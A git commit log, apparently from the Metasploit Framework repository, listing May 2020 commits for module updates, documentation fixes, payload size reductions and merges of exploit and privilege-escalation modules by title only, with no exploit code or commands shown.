Update modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/example.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/gather/android_browser_file_theft.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/gather/apple_safari_webarchive_uxss.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/gather/browser_lanipleak.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/gather/firefox_pdfjs_file_theft.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/gather/samsung_browser_sop_bypass.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/http.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/http_basic.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/http_ntlm.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/http_ntlmrelay.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/socks4a.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/socks5.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/sip.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/postgresql.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/local_hwbridge.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/webkit_xslt_dropper.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/socks_unc.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/client/iec104/iec104.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/gather/browser_info.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/drda.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/ftp.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/mssql.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/mysql.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/pop3.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/dns/spoofhelper.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/printjob_capture.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update description following Actions removal

Update modules/auxiliary/gather/browser_info.rb

Update modules/auxiliary/gather/browser_info.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/gather/browser_info.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-17 14:51:14 -05:00
h00die 9851f274a4 remove commented include 2020-05-16 07:57:39 -04:00
h00die 132a74295a fix doc numbering 2020-05-16 01:39:20 -04:00
h00die a8673e0efc pihole dhcp exec 2020-05-16 01:30:58 -04:00
Niboucha Redouane 557de61fa4 minor Fix to a comment 2020-05-16 03:37:29 +02:00
Niboucha Redouane d022d123f6 Use wsman identification request instead of sending a raw HTTP empty request and checking the status code 2020-05-16 03:29:05 +02:00
noncenz 94fe620b55 Update to use lru_crawler for memcached 1.5.4+ 2020-05-15 19:19:05 -04:00
h00die d496554da0 proper pathing 2020-05-15 19:03:30 -04:00
William Vu b8ca608800 Land #13415, badchar-free encoded payload fix 2020-05-15 17:50:59 -05:00
noncenz e99420bde8 Fix regex key matching issue 2020-05-15 13:11:42 -04:00
OJ ea552c414f Remove from iqueue instead of pqueue 2020-05-16 02:22:53 +10:00
OJ ef172086e5 Prioritise incomplete packets in the dispatch loop
In certain cases, packets would arrive before their handlers were ready
to handle them. This resulted in packets going into the incomplete list
and being re-queued into the packet input queue. This is a problem when
MORE packets arrive while processing because the older packets end up at
the end of the queue instead of the start of the queue. This means newer
packets are processed FIRST, and hence we have an out-of-order
sequencing problem.

This commit adds an "incomplete queue" which gets prioritised over new
packets. If packets are incomplete at any point, they are added to this
queue, and are dequeued prior to the new packet queue. This results in
packet sequences being maintained.

This was causing issues with things like port forwards. BUT NOT ANY
MORE!
2020-05-16 01:58:53 +10:00
Adam Cammack ef71b38e35 Land #13464, Bump ruby-prof to fix broken compile 2020-05-15 10:51:19 -05:00
Shelby Pace 9e813b7e1e add archs 2020-05-15 10:22:08 -05:00
Shelby Pace 861ea8d696 add jdk info 2020-05-15 10:16:26 -05:00
Jeffrey Martin 80994e6bb7 update ruby-prof version due to broken compile
Nightly releases purposely use older toolchains.
https://github.com/ruby-prof/ruby-prof/issues/272
2020-05-15 09:56:19 -05:00
Shelby Pace 91e4328198 add documentation, remove some leftover comments 2020-05-15 09:44:45 -05:00
h00die e08653db5a capital M 2020-05-15 08:19:32 -04:00
h00die 97f852e0cf spellz 2020-05-15 08:18:24 -04:00
Metasploit 614ff3d146 automatic module_metadata_base.json update 2020-05-15 05:23:46 -05:00
Alan Foster 9c249e8c91 Landing #13456, distinct_tftp_traversal: increase delay between upload requests 2020-05-15 11:14:58 +01:00
Shelby Pace 302b7134a3 add code for v12.1.3 2020-05-14 19:06:03 -05:00
Jeffrey Martin 88d42f5d7f bump version to 6.0.0 in progress 2020-05-14 17:52:02 -05:00
Metasploit fa73d09b96 automatic module_metadata_base.json update 2020-05-14 16:53:05 -05:00
William Vu aa6624e7f8 Land #13436, service encoder fix for psexec 2020-05-14 16:43:07 -05:00
William Vu ef069ce5ef Prefer exploit.rb's rand_text_alpha 2020-05-14 16:41:54 -05:00
h00die c3db42f79c pop3 capture docs 2020-05-14 15:13:31 -04:00
h00die 4a39e28aa5 review 2020-05-14 15:10:33 -04:00
Shelby Pace f7c6699843 add code for v12.2.1.3 2020-05-14 14:08:05 -05:00
h00die 809c56af6b string over regex' 2020-05-14 15:07:10 -04:00
Metasploit c47de9705d Bump version of framework to 5.0.90 2020-05-14 12:03:15 -05:00
Sophie Brun f80d5c34e1 Fix Python 3 syntax errors 2020-05-14 18:00:30 +02:00
h00die 07ea1fd419 rubocop 2020-05-14 08:54:01 -04:00
h00die ebd6eb0302 add authentication processing 2020-05-14 08:53:32 -04:00
Brendan Coles a5250072bf distinct_tftp_traversal: increase delay between upload requests 2020-05-14 05:22:36 +00:00
h00die 08bd36ae6a fix docs 2020-05-13 23:37:14 -04:00
h00die 4f5b595d3e pihole whitelist exec 2020-05-13 23:30:01 -04:00
h00die b10d65dcae title 2020-05-13 22:14:45 -04:00
h00die cf0ba9d219 description 2020-05-13 22:10:09 -04:00
h00die 6889d36d54 add edb reference 2020-05-13 21:06:48 -04:00
h00die 3d054973f5 updates to work with 4.4 2020-05-13 20:46:38 -04:00
Tod Beardsley 00579b498f Add CVE-2020-7352 to the references
Freshly reserved! Not populated yet!
2020-05-13 14:40:13 -05:00
William Vu 6034f48e8f Land #13405, once more with feeling 2020-05-13 11:54:41 -05:00
Clément Notin 91ea692cbe socket_server.rb: better describe "0.0.0.0"
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-13 16:30:00 +02:00
William Vu 44b0ddf2ed Land #13405, OptAddressLocal for SRVHOST 2020-05-13 09:15:42 -05:00
Clément Notin ec33651243 socket_server.rb: SRVHOST can be an interface
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-13 16:14:20 +02:00
Shelby Pace aaeb5ad5ee mixin madness 2020-05-13 08:37:53 -05:00
h00die 4f3edb0cd2 more cleanup 2020-05-13 09:18:54 -04:00
h00die 7be2983105 review 2020-05-13 08:51:31 -04:00
Niboucha Redouane a4b316a91e Fix following redirects from send_request_cgi! 2020-05-13 09:54:14 +02:00
h00die 9aa8578a75 cve-2020-11108 2020-05-12 22:52:44 -04:00
Joe Testa 601f8d6aad Added post/windows/escalate/gog_galaxyclientservice_privesc. 2020-05-12 22:06:55 -04:00
Brent Cook 3de0a7f08d Land #13441, delete komand plugin 2020-05-12 16:32:38 -05:00
Shelby Pace 76d48281d0 add check method 2020-05-12 16:12:51 -05:00
Niboucha Redouane 20f7383a61 check using the include? method 2020-05-12 22:08:48 +02:00
Metasploit 1f616b0624 automatic module_metadata_base.json update 2020-05-12 13:48:12 -05:00
Shelby Pace fc762f8a82 Land #13402, add service_exists? method 2020-05-12 13:37:54 -05:00
Niboucha Redouane 798756d571 Fix small tabs issue 2020-05-12 20:28:01 +02:00
Spencer McIntyre f48be0d45c Add missing docs from #13401 merging 2020-05-12 14:26:05 -04:00
bwatters-r7 9b40554ec6 Land #13370, Add Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation
Merge branch 'land-13370' into upstream-master
2020-05-12 13:20:27 -05:00
Spencer McIntyre e3e82ca17e Land #13401, Add SaltStack Salt root key disclosure and RCE 2020-05-12 14:18:50 -04:00
Brent Cook 53c98fb8c7 delete komand plugin 2020-05-12 13:10:32 -05:00
Niboucha Redouane 1cf8bc02de Fix winrm_login by accepting 411 Length Required as a valid response code 2020-05-12 20:07:46 +02:00
Metasploit a82913fddb automatic module_metadata_base.json update 2020-05-12 12:49:56 -05:00
gwillcox-r7 df5bb76aea Land #13404, Fix fakedns.rb's TARGETDOMAIN explanation. 2020-05-12 12:38:51 -05:00
Metasploit 85a240d765 automatic module_metadata_base.json update 2020-05-12 12:33:55 -05:00
William Vu d431cd9a6b Actually write the setup guide in the module docs
Oops. This should have been filled out.
2020-05-12 12:27:19 -05:00
Shelby Pace 8dde3b6fca add Windows-related code, fix alignment 2020-05-12 12:23:55 -05:00
bwatters-r7 6d9521136d Land #13429, Add Netsweeper WebAdmin unixlogin.php pre-auth RCE
Merge branch 'land-13429' into upstream-master
2020-05-12 12:23:09 -05:00
Brendan Coles 3769c5f86d Land #13422, CVE-2019-13272 prefer automatic targeting over hard-coded helpers
Previously, the exploit would attempt to use a hardcoded list of
known useful helpers and fall back to automatic targeting. This
logic has been reversed, preferring automatic targeting first.
2020-05-12 14:44:51 +00:00
William Vu 235f822937 Add Netsweeper WebAdmin unixlogin.php pre-auth RCE 2020-05-12 08:34:20 -05:00
OJ fee523f6cf Remove some unnecessary bytes 2020-05-12 15:22:56 +10:00
OJ d39ca5c47f Remove ref to base64 where not needed, more code golf 2020-05-12 15:08:43 +10:00
OJ 905ee564ee Add zlib/base64 support to python stagers
This forces python to use zlib and base64 when transferring the stages
around. In my testing this dropped the stage for reverse_tcp from 111801
bytes to 36200 bytes (while still including the encryption libs).
2020-05-12 14:54:08 +10:00
Clément Notin 258895f534 Use print_error for error messages 2020-05-12 00:02:52 +02:00
Clément Notin b7d16b1e72 Fix regression in psexec mixing filename and encoder
Closes #13407
2020-05-12 00:02:52 +02:00
Shelby Pace 5e0469ce4f add t3_send comment and cmdstager code 2020-05-11 13:18:01 -05:00
William Vu 06cae74d51 Note what CheckModule is used to provide a check
Hat tip @ccondon-r7 for making me realize my standard comment needs to
be reapplied.
2020-05-11 12:28:02 -05:00
William Vu f85a8c2e79 Add module docs 2020-05-11 12:05:38 -05:00
William Vu 83dde571a2 Add VMware vRealize Operations Manager advisory
Hat tip @brudis-r7!
2020-05-11 12:05:38 -05:00
William Vu 6e8abd7a40 Add SaltStack Salt unauthenticated RCE module 2020-05-11 12:05:38 -05:00
William Vu 646c10ff02 Disable RuboCop Security/Eval the non-hacky way
Hat tip @adfoster-r7!
2020-05-11 12:05:38 -05:00
William Vu f346b1b001 Add SaltStack Salt root key disclosure module
Also adds a new ZeroMQ mixin, mainly for use with Salt modules.
2020-05-11 12:05:38 -05:00
Brendan Coles 8631babcbb Update CVE-2019-13272 pre-compiled exploit 2020-05-11 13:36:41 +00:00
Brent Cook 6a629d4bf4 Land #13433, Update MSF JSON-RPC framework path to be relative 2020-05-11 06:59:26 -05:00
Alan Foster e814007086 Update msf json rpc file path to be relative 2020-05-11 11:59:35 +01:00
OJ 0df2cfd5a1 Little bit of code golf 2020-05-11 20:49:39 +10:00
OJ 1c0d76e482 Include a horrible custom DER/RSA implementation
I'm sorry, but I'm also not sorry.
2020-05-11 19:08:37 +10:00
Metasploit 51f00e4a10 automatic module_metadata_base.json update 2020-05-10 05:43:16 -05:00
William Vu 32ed4bc30b Land #13423, advisory fixes for pedrib IBM modules 2020-05-10 05:34:30 -05:00
William Vu 1171cfa672 Land #13426, Msf::Exploit::CmdStager::HTTP fixes 2020-05-10 04:19:54 -05:00
William Vu 1214ac17a7 Refactor Msf::Exploit::CmdStager::HTTP
Minor updates to align with current style.
2020-05-10 04:12:45 -05:00
Pedro Ribeiro d31ddadd74 Fix advisory link in Qradar sploit 2020-05-09 14:59:43 +07:00
Pedro Ribeiro cf25629510 Fix advisory link in TM1 module 2020-05-09 14:58:46 +07:00
Pedro Ribeiro bba9d0a843 Update advisory link in doc 2020-05-09 14:57:32 +07:00
Pedro Ribeiro 8778ddd7aa Merge pull request #17 from rapid7/master
sasas
2020-05-09 14:55:50 +07:00
Brendan Coles dbc2b8b006 Update CVE-2019-13272 exploit C code to prefer auto targeting
Previously, the exploit would attempt to use a hardcoded list of
known useful helpers and fall back to automatic targeting. This
logic has been reversed, preferring automatic targeting first.
2020-05-09 03:59:31 +00:00
bcoles c49b189f37 Merge pull request #8 from bwatters-r7/land-13402
Use new method
2020-05-09 11:17:14 +10:00
Metasploit bc15315bfd automatic module_metadata_base.json update 2020-05-08 16:04:36 -05:00
Spencer McIntyre 8ccb93ef8c Land #12234, Add a module to identify web servers behind cloud based protections 2020-05-08 16:34:51 -04:00
h00die 713c56b929 bcoles review comments 2020-05-08 16:33:23 -04:00
bwatters-r7 1a9c04c2c4 Use new method 2020-05-08 14:49:01 -05:00
Spencer McIntyre e243d3ec9a Clanup cloud_lookup docs and remove some unnecessary code 2020-05-08 15:41:19 -04:00
bwatters-r7 6fae8f0ad4 Land #13358, Fix packet ordering check
Merge branch 'land-13358' into upstream-master
2020-05-08 13:23:27 -05:00
Spencer McIntyre 683ecb7b8d Tweak handling of the DnsNote option 2020-05-08 12:21:52 -04:00
Spencer McIntyre 6be4b5431c Remove the TLD wordlist option for now 2020-05-08 12:21:52 -04:00
Spencer McIntyre 0a8cb83e7f Fix TXT records, the DNS port, and messages for cloud_lookup 2020-05-08 12:21:52 -04:00
Spencer McIntyre 715dfc13f8 Refactor the auxiliary mixin to an enumeration exploit mixin 2020-05-08 12:21:52 -04:00
RAMELLA Sébastien 09ded72247 migrate enum_dns to mixin (add. TLDs wordlist) and update cloud_lookup 2020-05-08 12:21:52 -04:00
RAMELLA Sébastien 578a13732d add. move DNS functions into a mixin 2020-05-08 12:21:52 -04:00
RAMELLA Sébastien e96cd2695b remove deprecated ips blacklist for Stackpath and add more features. 2020-05-08 12:21:52 -04:00
RAMELLA Sébastien 9a7175522b fix. rubocop add. comments, review, NoWAFBypass, AzureCDN and mores... 2020-05-08 12:21:52 -04:00
RAMELLA Sébastien 85a5ee2cc6 add. some IP check filters. 2020-05-08 12:21:52 -04:00
RAMELLA Sébastien c6d754aa9f add. some comparisons and fixes of some stuff 2020-05-08 12:21:52 -04:00
RAMELLA Sébastien 7334e5b2e9 add. new gather module cloud_lookup 2020-05-08 12:21:52 -04:00
gwillcox-r7 c44fb61c9a Land #13416, Add an RDLL Visual Studio project template 2020-05-08 09:23:57 -05:00
Spencer McIntyre 859f0c6f6a Remove the RDLL header template file 2020-05-08 09:32:35 -04:00
Adam Cammack f118589bba Use squiggly heredoc 2020-05-08 02:55:26 -05:00
Spencer McIntyre 5eff81296c Update the README file with more documentation 2020-05-07 15:38:04 -04:00
Metasploit 0f67e25bc6 Bump version of framework to 5.0.89 2020-05-07 12:03:49 -05:00
Spencer McIntyre 4e8235923c Create the structure for the RDLL Visual Studio structure 2020-05-07 12:20:52 -04:00
Adam Cammack 5f8181efa7 Avoid auto-encoding payloads free of badchars
Payloads without any of the specified badchars will no longer be encoded
by default. This should hopefully lead to less surprising results when
using simple payloads (especially commands. Things that had incomplete
badchar analysis may break as a result, since not everything will be
encoded by default anymore. Sorry in advance if they do.
2020-05-07 10:58:03 -05:00
Metasploit 8c39642bf1 automatic module_metadata_base.json update 2020-05-07 09:33:40 -05:00
William Vu 0b6fdb9888 Land #13413, ibm_drm_download default action fix 2020-05-07 09:24:00 -05:00
Metasploit 11b6fd3e75 automatic module_metadata_base.json update 2020-05-07 09:07:54 -05:00
Spencer McIntyre b4e2599921 Remove trailing whitespace to fix build failures 2020-05-07 09:59:34 -04:00
Metasploit d7085a3144 automatic module_metadata_base.json update 2020-05-07 08:57:22 -05:00
Spencer McIntyre 9769e04b6e Land #13322, CVE-2020-0668 Service tracing file junction overwrite 2020-05-07 09:47:20 -04:00
Spencer McIntyre 26d4cb7a47 Tweak the service tracking checks and update docs markdown 2020-05-07 09:46:19 -04:00
William Vu 04e263f305 Add auxiliary/admin/http/ibm_drm_download action 2020-05-07 08:03:28 -05:00
Metasploit 01a220ec21 automatic module_metadata_base.json update 2020-05-07 04:48:14 -05:00
Alan Foster 61e17d3a2c Land #13406, Fix multiple DNS enumeration related bugs 2020-05-07 10:38:07 +01:00
OJ 97fc253077 Last effort at payload size reduction 2020-05-07 18:52:01 +10:00
OJ c0f32e59d0 Another interim commit while reducing the payload size 2020-05-07 18:38:07 +10:00
OJ 9d4ef13a84 First pass of python TLV encryption support
More info to come, but this does a few things with magic!~
2020-05-07 18:28:13 +10:00
Tim W f897806589 use python squiggly heredoc 2020-05-07 14:21:36 +08:00
Metasploit ffa01f56fc automatic module_metadata_base.json update 2020-05-06 17:35:01 -05:00
gwillcox-r7 a1275845ec Land #13200, CVE-2019-0808 LPE for Windows 7 x86 SP0 and SP1 2020-05-06 17:23:52 -05:00
gwillcox-r7 1c79674620 Recompile DLL and alter vcxproj file to automatically place generated DLL in right folder 2020-05-06 16:33:01 -05:00
gwillcox-r7 1325c28ebd Fix typo in dllmain.cpp 2020-05-06 15:44:02 -05:00
bwatters-r7 a5fe498610 Update ARCH handling, suggested changes, and last-minute fixes 2020-05-06 15:36:53 -05:00
gwillcox-r7 ea3bba96e2 Apply lots of review fixes to dllmain.cpp 2020-05-06 13:14:50 -05:00
Clément Notin c42db7959b Use OptAddressLocal for SRVHOST to specify by interface name instead of IP 2020-05-06 19:51:13 +02:00
Spencer McIntyre f8fe5974be Properly skip over unsupported RRs when doing DNS zone transfers 2020-05-06 13:15:33 -04:00
Clément Notin b7234902bc fakedns: specificy in help the wildcard character 2020-05-06 19:02:32 +02:00
Brendan Coles d313f196d9 Add Post::Windows::Services.service_exists? method 2020-05-06 15:26:52 +00:00
Metasploit 4a853beb8d automatic module_metadata_base.json update 2020-05-06 09:27:21 -05:00
Christophe De La Fuente 3473016aea Land #13107, Kentico deserialization RCE 2020-05-06 16:16:05 +02:00
Brendan Coles bf16307d7f Add Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation 2020-05-06 14:09:46 +00:00
dwelch-r7 48f9d1a223 Land #13386, Raise exception for stageless android payload -x option 2020-05-06 14:58:23 +01:00
dwelch-r7 8ac04d5312 Land #13367, Surface helpful error messages to users 2020-05-06 14:40:21 +01:00
Alan Foster cd3725cd3d Land #13388, Updates for SAP ICM paths 2020-05-06 14:07:22 +01:00
gwillcox-r7 5609a99758 Neaten up alignment and spacing on ntusermndragover.rb 2020-05-05 21:28:51 -05:00
gwillcox-r7 02bc959d1b Documentation alignment to 72 character width as is standard 2020-05-05 21:01:52 -05:00
Spencer McIntyre 73994ece12 Fix send_(tc|ud)p method signatures to match parent class
Rex::Proto::DNS::Resolver inherits from Net::DNS::Resolver however it
changes the signature of the send_tcp and send_udp methods, making it
break when a method from the parent class (such as #axfr) is called.
2020-05-05 16:54:32 -04:00
Metasploit 65507542bf automatic module_metadata_base.json update 2020-05-05 14:43:03 -05:00
dwelch-r7 6ebcf950f6 Land #13392, Fix rex http client warnings 2020-05-05 20:35:45 +01:00
bwatters-r7 b7e6d625bc Land #13399, Fix fail with call in vmware fusion lpe
Merge branch 'land-13399' into upstream-master
2020-05-05 14:34:33 -05:00
Alan Foster 2c8b5c2647 Fix edge cases in raising metasploit exceptions 2020-05-05 20:18:04 +01:00
Alan Foster 8b47ee6013 Fix fail with call in vmware fusion lpe 2020-05-05 19:24:07 +01:00
Metasploit dd870ed4ca automatic module_metadata_base.json update 2020-05-05 12:17:40 -05:00
William Vu 80b64830cc Land #13304, IBM DRM SSH exploit 2020-05-05 12:08:02 -05:00
William Vu e2690ad378 Land #13301, IBM DRM arbitrary file download 2020-05-05 12:07:37 -05:00
William Vu e0a67f4fd1 Land #13300, IBM DRM RCE 2020-05-05 12:07:15 -05:00
William Vu 227962d1f3 Fix EOL space 2020-05-05 11:27:31 -05:00
William Vu 437a056f67 Land #13364, .NET deserialization tool 2020-05-05 11:02:31 -05:00
Pedro Ribeiro 1cb91dcb42 Address review comments
Update documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update ibm_drm_a3user.md

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/ssh/ibm_drm_a3user.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

use fail_with
2020-05-05 10:58:05 -05:00
Pedro Ribeiro 227347627c Address review comments
Update documentation/modules/auxiliary/admin/http/ibm_drm_download.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/auxiliary/admin/http/ibm_drm_download.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/auxiliary/admin/http/ibm_drm_download.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/admin/http/ibm_drm_download.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

final changes!

Update modules/auxiliary/admin/http/ibm_drm_download.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/admin/http/ibm_drm_download.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/admin/http/ibm_drm_download.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/admin/http/ibm_drm_download.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/admin/http/ibm_drm_download.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/admin/http/ibm_drm_download.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/admin/http/ibm_drm_download.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/admin/http/ibm_drm_download.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

final final

Update ibm_drm_download.md

change date to ISO

really fix the date now
2020-05-05 10:56:40 -05:00
Pedro Ribeiro a17d78a327 Address review comments
Update documentation/modules/exploit/linux/http/ibm_drm_rce.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/exploit/linux/http/ibm_drm_rce.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update documentation/modules/exploit/linux/http/ibm_drm_rce.md

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update ibm_drm_rce.md

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

make final changes!

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/exploits/linux/http/ibm_drm_rce.rb
